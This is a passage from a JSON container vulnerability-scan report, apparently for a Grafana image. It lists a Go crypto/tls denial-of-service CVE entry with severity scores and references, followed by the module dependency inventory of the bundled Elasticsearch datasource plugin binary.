"https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81742", "https://go.dev/cl/847186", "https://go.dev/cl/847308", "https://go.dev/issue/81742", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://groups.google.com/g/golang-announce/c/ZPwCyRUuGBs", "https://linux.oracle.com/cve/CVE-2026-78669.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78669", "https://pkg.go.dev/vuln/GO-2026-6611", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78669", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:04.01Z", "LastModifiedDate": "2026-10-09T17:16:49.857Z" }, { "VulnerabilityID": "CVE-2026-97031", "VendorIDs": [ "GO-2026-6607" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97031", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:1f2c9730fdb9349f85357ed2118095a4c33d7b96d38a06a7ad12a9b28c997b0b", "Title": "crypto/tls: golang: crypto/tls: Denial of Service via multiple ECH outer extension references", "Description": "Multiple ECH outer extension references are not permitted under RFC 9849; previously, a client could send a well-crafted packet that could trigger memory exhaustion in the server process by specifying multiple references. We now reject these as malformed and curb the memory amplification vector as a result.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95518", "https://access.redhat.com/security/cve/CVE-2026-97031", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-95518.html", "https://errata.rockylinux.org/RLSA-2026:95518", "https://go.dev/cl/847312", "https://go.dev/issue/81855", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://linux.oracle.com/cve/CVE-2026-97031.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97031", "https://pkg.go.dev/vuln/GO-2026-6607", "https://www.cve.org/CVERecord?id=CVE-2026-97031" ], "PublishedDate": "2026-10-08T23:17:06.037Z", "LastModifiedDate": "2026-10-09T16:35:35.9Z" } ] }, { "Target": "usr/share/grafana/data/plugins-bundled/elasticsearch/gpx_grafana_elasticsearch_datasource_linux_amd64", "Class": "lang-pkgs", "Type": "gobinary", "Packages": [ { "ID": "github.com/grafana/grafana-elasticsearch-datasource@v12.6.2", "Name": "github.com/grafana/grafana-elasticsearch-datasource", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-elasticsearch-datasource@12.6.2", "UID": "27dcb115d68e97fd" }, "Version": "12.6.2", "Relationship": "root", "DependsOn": [ "github.com/apache/arrow-go/v18@v18.5.2", "github.com/aws/aws-sdk-go-v2/config@v1.32.7", "github.com/aws/aws-sdk-go-v2/credentials@v1.19.7", "github.com/aws/aws-sdk-go-v2/feature/ec2/imds@v1.18.17", "github.com/aws/aws-sdk-go-v2/internal/configsources@v1.4.17", "github.com/aws/aws-sdk-go-v2/internal/endpoints/v2@v2.7.17", "github.com/aws/aws-sdk-go-v2/internal/ini@v1.8.4", "github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding@v1.13.4", "github.com/aws/aws-sdk-go-v2/service/internal/presigned-url@v1.13.17", "github.com/aws/aws-sdk-go-v2/service/signin@v1.0.5", "github.com/aws/aws-sdk-go-v2/service/sso@v1.30.9", "github.com/aws/aws-sdk-go-v2/service/ssooidc@v1.35.13", "github.com/aws/aws-sdk-go-v2/service/sts@v1.41.6", "github.com/aws/aws-sdk-go-v2@v1.41.1", "github.com/aws/smithy-go@v1.24.0", "github.com/beorn7/perks@v1.0.1", "github.com/cenkalti/backoff/v5@v5.0.3", "github.com/cespare/xxhash/v2@v2.3.0", "github.com/cheekybits/genny@v1.0.0", "github.com/clipperhouse/displaywidth@v0.10.0", "github.com/clipperhouse/uax29/v2@v2.6.0", "github.com/davecgh/go-spew@v1.1.2-0.20180830191138-d8f796af33cc", "github.com/emicklei/go-restful/v3@v3.11.0", "github.com/fatih/color@v1.18.0", "github.com/go-logr/logr@v1.4.3", "github.com/go-logr/stdr@v1.2.2", "github.com/go-openapi/jsonpointer@v0.22.5", "github.com/go-openapi/jsonreference@v0.21.5", "github.com/go-openapi/swag/jsonname@v0.25.5", "github.com/go-openapi/swag@v0.23.0", "github.com/gogo/googleapis@v1.4.1", "github.com/gogo/protobuf@v1.3.2", "github.com/golang/protobuf@v1.5.4", "github.com/google/flatbuffers@v25.12.19+incompatible", "github.com/google/gnostic-models@v0.7.0", "github.com/google/go-cmp@v0.7.0", "github.com/google/uuid@v1.6.0", "github.com/grafana/dataplane/sdata@v0.0.9", "github.com/grafana/grafana-aws-sdk@v1.4.3", "github.com/grafana/grafana-plugin-sdk-go@v0.291.1", "github.com/grafana/otel-profiling-go@v0.5.1", "github.com/grafana/pyroscope-go/godeltaprof@v0.1.9", "github.com/grafana/schemads@v0.0.8", "github.com/grafana/sqlds/v5@v5.0.4", "github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus@v1.1.0", "github.com/grpc-ecosystem/go-grpc-middleware/v2@v2.3.3", "github.com/grpc-ecosystem/grpc-gateway/v2@v2.28.0", "github.com/hashicorp/go-hclog@v1.6.3", "github.com/hashicorp/go-plugin@v1.7.0", "github.com/hashicorp/yamux@v0.1.2", "github.com/huandu/go-clone@v1.7.3", "github.com/huandu/go-sqlbuilder@v1.39.1", "github.com/huandu/xstrings@v1.4.0", "github.com/jaegertracing/jaeger-idl@v0.6.0", "github.com/josharian/intern@v1.0.0", "github.com/json-iterator/go@v1.1.12", "github.com/jszwedko/go-datemath@v0.1.1-0.20230526204004-640a500621d6", "github.com/klauspost/compress@v1.18.4", "github.com/klauspost/cpuid/v2@v2.3.0", "github.com/mailru/easyjson@v0.7.7", "github.com/mattetti/filebuffer@v1.0.1", "github.com/mattn/go-colorable@v0.1.14", "github.com/mattn/go-isatty@v0.0.20", "github.com/mattn/go-runewidth@v0.0.19", "github.com/mitchellh/go-homedir@v1.1.0", "github.com/mithrandie/csvq-driver@v1.7.0", "github.com/mithrandie/csvq@v1.18.1", "github.com/mithrandie/go-file/v2@v2.1.0", "github.com/mithrandie/go-text@v1.6.0", "github.com/mithrandie/ternary@v1.1.1", "github.com/modern-go/concurrent@v0.0.0-20180306012644-bacd9c7ef1dd", "github.com/modern-go/reflect2@v1.0.2", "github.com/munnerz/goautoneg@v0.0.0-20191010083416-a7dc8b61c822", "github.com/oklog/run@v1.1.0", "github.com/olekukonko/cat@v0.0.0-20250911104152-50322a0618f6", "github.com/olekukonko/errors@v1.2.0", "github.com/olekukonko/ll@v0.1.6", "github.com/olekukonko/tablewriter@v1.1.4", "github.com/patrickmn/go-cache@v2.1.0+incompatible", "github.com/pierrec/lz4/v4@v4.1.25", "github.com/pmezard/go-difflib@v1.0.1-0.20181226105442-5d4384ee4fb2", "github.com/prometheus/client_golang@v1.23.2", "github.com/prometheus/client_model@v0.6.2", "github.com/prometheus/common@v0.67.5", "github.com/prometheus/procfs@v0.16.1", "github.com/stretchr/objx@v0.5.2", "github.com/stretchr/testify@v1.11.1", "github.com/zeebo/xxh3@v1.1.0", "go.opentelemetry.io/auto/sdk@v1.2.1", "go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc@v0.67.0", "go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace@v0.67.0", "go.opentelemetry.io/contrib/propagators/jaeger@v1.42.0", "go.opentelemetry.io/contrib/samplers/jaegerremote@v0.36.0", "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc@v1.42.0", "go.opentelemetry.io/otel/exporters/otlp/otlptrace@v1.42.0", "go.opentelemetry.io/otel/metric@v1.43.0", "go.opentelemetry.io/otel/sdk@v1.43.0", "go.opentelemetry.io/otel/trace@v1.43.0", "go.opentelemetry.io/otel@v1.43.0", "go.opentelemetry.io/proto/otlp@v1.9.0", "go.yaml.in/yaml/v2@v2.4.3", "go.yaml.in/yaml/v3@v3.0.4", "golang.org/x/crypto@v0.49.0", "golang.org/x/exp@v0.0.0-20260112195511-716be5621a96", "golang.org/x/net@v0.52.0", "golang.org/x/sync@v0.20.0", "golang.org/x/sys@v0.42.0", "golang.org/x/term@v0.41.0", "golang.org/x/text@v0.35.0", "golang.org/x/xerrors@v0.0.0-20240903120638-7835f813f4da", "google.golang.org/genproto@v0.0.0-20210630183607-d20f26d13c79", "google.golang.org/grpc@v1.79.3", "google.golang.org/protobuf@v1.36.11", "gopkg.in/yaml.v3@v3.0.1", "k8s.io/kube-openapi@v0.0.0-20260127142750-a19766b6e2d4", "sigs.k8s.io/randfill@v1.0.0", "stdlib@v1.26.2" ], "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "stdlib@v1.26.2", "Name": "stdlib", "Identifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "Version": "v1.26.2", "Relationship": "direct", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/apache/arrow-go/v18@v18.5.2", "Name": "github.com/apache/arrow-go/v18", "Identifier": { "PURL": "pkg:golang/github.com/apache/arrow-go/v18@v18.5.2", "UID": "92721bcb5c26473a" }, "Version": "v18.5.2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2@v1.41.1", "Name": "github.com/aws/aws-sdk-go-v2", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2@v1.41.1", "UID": "96d0f4d32d97c7b1" }, "Version": "v1.41.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/config@v1.32.7", "Name": "github.com/aws/aws-sdk-go-v2/config", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/config@v1.32.7", "UID": "5ba392681748f362" }, "Version": "v1.32.7", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/credentials@v1.19.7", "Name": "github.com/aws/aws-sdk-go-v2/credentials", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/credentials@v1.19.7", "UID": "234c5a2a21489a92" }, "Version": "v1.19.7", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/feature/ec2/imds@v1.18.17", "Name": "github.com/aws/aws-sdk-go-v2/feature/ec2/imds", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/feature/ec2/imds@v1.18.17", "UID": "857a70a8cb17aaa4" }, "Version": "v1.18.17", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/internal/configsources@v1.4.17", "Name": "github.com/aws/aws-sdk-go-v2/internal/configsources", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/internal/configsources@v1.4.17", "UID": "beb3f99080e0b9a5" }, "Version": "v1.4.17", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/internal/endpoints/v2@v2.7.17", "Name": "github.com/aws/aws-sdk-go-v2/internal/endpoints/v2", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/internal/endpoints/v2@v2.7.17", "UID": "a0edde23bc01e44f" }, "Version": "v2.7.17", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/internal/ini@v1.8.4", "Name": "github.com/aws/aws-sdk-go-v2/internal/ini", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/internal/ini@v1.8.4", "UID": "2f9311b2c4f37a0e" }, "Version": "v1.8.4", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding@v1.13.4", "Name": "github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding@v1.13.4", "UID": "2b10ab68869670a6" }, "Version": "v1.13.4", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/internal/presigned-url@v1.13.17", "Name": "github.com/aws/aws-sdk-go-v2/service/internal/presigned-url", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/internal/presigned-url@v1.13.17", "UID": "a945d95c043863c4" }, "Version": "v1.13.17", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/signin@v1.0.5", "Name": "github.com/aws/aws-sdk-go-v2/service/signin", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/signin@v1.0.5", "UID": "cdf6db7287bdc829" }, "Version": "v1.0.5", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/sso@v1.30.9", "Name": "github.com/aws/aws-sdk-go-v2/service/sso", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/sso@v1.30.9", "UID": "e0575499020f474a" }, "Version": "v1.30.9", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/ssooidc@v1.35.13", "Name": "github.com/aws/aws-sdk-go-v2/service/ssooidc", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/ssooidc@v1.35.13", "UID": "3fa1edca74dd76d5" }, "Version": "v1.35.13", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/sts@v1.41.6", "Name": "github.com/aws/aws-sdk-go-v2/service/sts", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/sts@v1.41.6", "UID": "ee6962bf923c414d" }, "Version": "v1.41.6", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/smithy-go@v1.24.0", "Name": "github.com/aws/smithy-go", "Identifier": { "PURL": "pkg:golang/github.com/aws/smithy-go@v1.24.0", "UID": "729431765cc50df5" }, "Version": "v1.24.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/beorn7/perks@v1.0.1", "Name": "github.com/beorn7/perks", "Identifier": { "PURL": "pkg:golang/github.com/beorn7/perks@v1.0.1", "UID": "97ed4cdf3bb3ce97" }, "Version": "v1.0.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cenkalti/backoff/v5@v5.0.3", "Name": "github.com/cenkalti/backoff/v5", "Identifier": { "PURL": "pkg:golang/github.com/cenkalti/backoff/v5@v5.0.3", "UID": "bf7f7678aa02b214" }, "Version": "v5.0.3", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cespare/xxhash/v2@v2.3.0", "Name": "github.com/cespare/xxhash/v2", "Identifier": { "PURL": "pkg:golang/github.com/cespare/xxhash/v2@v2.3.0", "UID": "5f3b4e0ad9059e7a" }, "Version": "v2.3.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cheekybits/genny@v1.0.0", "Name": "github.com/cheekybits/genny", "Identifier": { "PURL": "pkg:golang/github.com/cheekybits/genny@v1.0.0", "UID": "5bd65885f25ffba7" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/clipperhouse/displaywidth@v0.10.0", "Name": "github.com/clipperhouse/displaywidth", "Identifier": { "PURL": "pkg:golang/github.com/clipperhouse/displaywidth@v0.10.0", "UID": "8fa79fc0c46360c" }, "Version": "v0.10.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/clipperhouse/uax29/v2@v2.6.0", "Name": "github.com/clipperhouse/uax29/v2", "Identifier": { "PURL": "pkg:golang/github.com/clipperhouse/uax29/v2@v2.6.0", "UID": "a04431745f73a2b7" }, "Version": "v2.6.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/davecgh/go-spew@v1.1.2-0.20180830191138-d8f796af33cc", "Name": "github.com/davecgh/go-spew", "Identifier": { "PURL": "pkg:golang/github.com/davecgh/go-spew@v1.1.2-0.20180830191138-d8f796af33cc", "UID": "4077ca2e24300333" }, "Version": "v1.1.2-0.20180830191138-d8f796af33cc", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/emicklei/go-restful/v3@v3.11.0", "Name": "github.com/emicklei/go-restful/v3", "Identifier": { "PURL": "pkg:golang/github.com/emicklei/go-restful/v3@v3.11.0", "UID": "105346217dea929b" }, "Version": "v3.11.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/fatih/color@v1.18.0", "Name": "github.com/fatih/color", "Identifier": { "PURL": "pkg:golang/github.com/fatih/color@v1.18.0", "UID": "318fb000c4486c29" }, "Version": "v1.18.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-logr/logr@v1.4.3", "Name": "github.com/go-logr/logr", "Identifier": { "PURL": "pkg:golang/github.com/go-logr/logr@v1.4.3", "UID": "28bee80215c4cf38" }, "Version": "v1.4.3", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-logr/stdr@v1.2.2", "Name": "github.com/go-logr/stdr", "Identifier": { "PURL": "pkg:golang/github.com/go-logr/stdr@v1.2.2", "UID": "29c963833997ad33" }, "Version": "v1.2.2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/jsonpointer@v0.22.5", "Name": "github.com/go-openapi/jsonpointer", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/jsonpointer@v0.22.5", "UID": "161726e3033dd423" }, "Version": "v0.22.5", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/jsonreference@v0.21.5", "Name": "github.com/go-openapi/jsonreference", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/jsonreference@v0.21.5", "UID": "4eaf64f9f831f87a" }, "Version": "v0.21.5", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag@v0.23.0", "Name": "github.com/go-openapi/swag", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag@v0.23.0", "UID": "2231909137ce1b08" }, "Version": "v0.23.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/go-openapi/swag/jsonname@v0.25.5", "Name": "github.com/go-openapi/swag/jsonname", "Identifier": { "PURL": "pkg:golang/github.com/go-openapi/swag/jsonname@v0.25.5", "UID": "13fc2d5a1774e478" }, "Version": "v0.25.5", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gogo/googleapis@v1.4.1", "Name": "github.com/gogo/googleapis", "Identifier": { "PURL": "pkg:golang/github.com/gogo/googleapis@v1.4.1", "UID": "23242abe4a531a81" }, "Version": "v1.4.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gogo/protobuf@v1.3.2", "Name": "github.com/gogo/protobuf", "Identifier": { "PURL": "pkg:golang/github.com/gogo/protobuf@v1.3.2", "UID": "5ba21f589ffa7ce7" }, "Version": "v1.3.2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/golang/protobuf@v1.5.4", "Name": "github.com/golang/protobuf", "Identifier": { "PURL": "pkg:golang/github.com/golang/protobuf@v1.5.4", "UID": "5259fe069132ead9" }, "Version": "v1.5.4", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/flatbuffers@v25.12.19+incompatible", "Name": "github.com/google/flatbuffers", "Identifier": { "PURL": "pkg:golang/github.com/google/flatbuffers@v25.12.19%2Bincompatible", "UID": "20e8dee25ea9c9dd" }, "Version": "v25.12.19+incompatible", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/gnostic-models@v0.7.0", "Name": "github.com/google/gnostic-models", "Identifier": { "PURL": "pkg:golang/github.com/google/gnostic-models@v0.7.0", "UID": "9042b990655eda46" }, "Version": "v0.7.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/go-cmp@v0.7.0", "Name": "github.com/google/go-cmp", "Identifier": { "PURL": "pkg:golang/github.com/google/go-cmp@v0.7.0", "UID": "76b353d634db0865" }, "Version": "v0.7.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/uuid@v1.6.0", "Name": "github.com/google/uuid", "Identifier": { "PURL": "pkg:golang/github.com/google/uuid@v1.6.0", "UID": "5210311c426ab00d" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/dataplane/sdata@v0.0.9", "Name": "github.com/grafana/dataplane/sdata", "Identifier": { "PURL": "pkg:golang/github.com/grafana/dataplane/sdata@v0.0.9", "UID": "41ed4ebe7b8c0b1c" }, "Version": "v0.0.9", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-aws-sdk@v1.4.3", "Name": "github.com/grafana/grafana-aws-sdk", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-aws-sdk@v1.4.3", "UID": "80d77541614413f7" }, "Version": "v1.4.3", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/grafana-plugin-sdk-go@v0.291.1", "Name": "github.com/grafana/grafana-plugin-sdk-go", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana-plugin-sdk-go@v0.291.1", "UID": "e3af7f1e91dd5d3a" }, "Version": "v0.291.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/otel-profiling-go@v0.5.1", "Name": "github.com/grafana/otel-profiling-go", "Identifier": { "PURL": "pkg:golang/github.com/grafana/otel-profiling-go@v0.5.1", "UID": "3d6cfc87047a24c6" }, "Version": "v0.5.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/pyroscope-go/godeltaprof@v0.1.9", "Name": "github.com/grafana/pyroscope-go/godeltaprof", "Identifier": { "PURL": "pkg:golang/github.com/grafana/pyroscope-go/godeltaprof@v0.1.9", "UID": "28007d342a1b633f" }, "Version": "v0.1.9", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/schemads@v0.0.8", "Name": "github.com/grafana/schemads", "Identifier": { "PURL": "pkg:golang/github.com/grafana/schemads@v0.0.8", "UID": "fc34263a4dbd1948" }, "Version": "v0.0.8", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grafana/sqlds/v5@v5.0.4", "Name": "github.com/grafana/sqlds/v5", "Identifier": { "PURL": "pkg:golang/github.com/grafana/sqlds/v5@v5.0.4", "UID": "2181efc68ad0e90f" }, "Version": "v5.0.4", "Layer": { "DiffID": 